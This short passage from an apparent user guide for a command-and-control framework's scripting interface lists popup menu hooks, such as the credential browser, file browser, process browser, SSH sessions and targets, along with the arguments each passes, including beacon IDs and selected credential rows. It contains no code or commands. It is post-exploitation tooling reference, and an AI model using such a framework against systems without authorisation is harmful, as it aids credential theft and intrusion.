credentials Credential Browser $1 = selected credential rows (array of hashes)
filebrowser [file in file browser] $1 = beacon ID, $2 = folder, $3 = selected files (array)
help Help Menu
listeners Listeners table $1 = selected listener names (array)
pgraph [pivot graph]
processbrowser Process Browser $1 = Beacon ID, $2 = selected processes (array)
processbrowser_multi Multi-Session Process Browser $1 = selected processes (array)
reporting Reporting Menu
ssh [SSH session] $1 = selected session IDs (array)
targets [host] $1 = selected hosts (array)
targets_other [host] $1 = selected hosts (array)
view View Menu

Continue Reading User Guide - Part 4 (Functions 1-3)